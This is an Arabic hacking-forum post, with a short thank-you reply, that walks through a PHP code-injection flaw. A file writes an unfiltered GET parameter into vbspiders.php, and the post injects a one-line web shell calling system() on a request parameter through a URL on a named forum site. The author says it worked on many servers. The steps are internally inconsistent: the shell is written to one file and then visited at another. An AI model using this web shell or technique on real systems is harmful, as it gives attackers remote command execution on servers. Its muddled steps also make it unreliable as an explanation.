Full Explain Remote Code Execution

[Injection]

السلام عليكم ورحمه الله وبركاته

السلام والصلاه على سيدنا محمد

سنشرح اليوم ثغره فريدة من نوعهآ ومعروفها وافادتني في سيرفرات كثيرة .

ان شاء الله يكون الشرح سهل جدا ..

الملف المصاب

<?php
$school = $_GET['love'];
$ip = getenv('REMOTE_ADDR');
$error = fopen('vbspiders.php','a');
fwrite($error,'<br />'.$school.'<br />'.$ip.'<br />');
fclose($error);
?>

الثغره تسمح لك بزرع كود خبيث ,

طلبنا الملف عبر المتغير Get

من ثم كونا الملف عبر ملف vbspiders بدالة fopen

ومن ثم قمنا بل تطبيق عبر الدالة fwrite ..

وفي الاخير غلقنا الخطاء بدالة fclose

الملف المصاب هو med.php

http://forum.advance-hackers.org/xx/med.php?love=

تمام بعد الرابط نزرع الملف ..

عن طريق ,,

<?php
$cmd=$_GET['mohamed'];
system($cmd);
?>

تمام نجرب نزرع الملف ..

http://forum.advance-hackers.org/xx/med.php?love=%3C?php$cmd=$_GET['mohamed'];system($cmd);?%3E

حلو تم زرع الملف ^_^

http://forum.advance-hackers.org/xx/mohammed.php

آتمنة ان افدتكم اخوكم حمد :smile:​

 

[kawihacker]

رد: Full Explain Remote Code Execution

يعطيك العافيه ع الشرح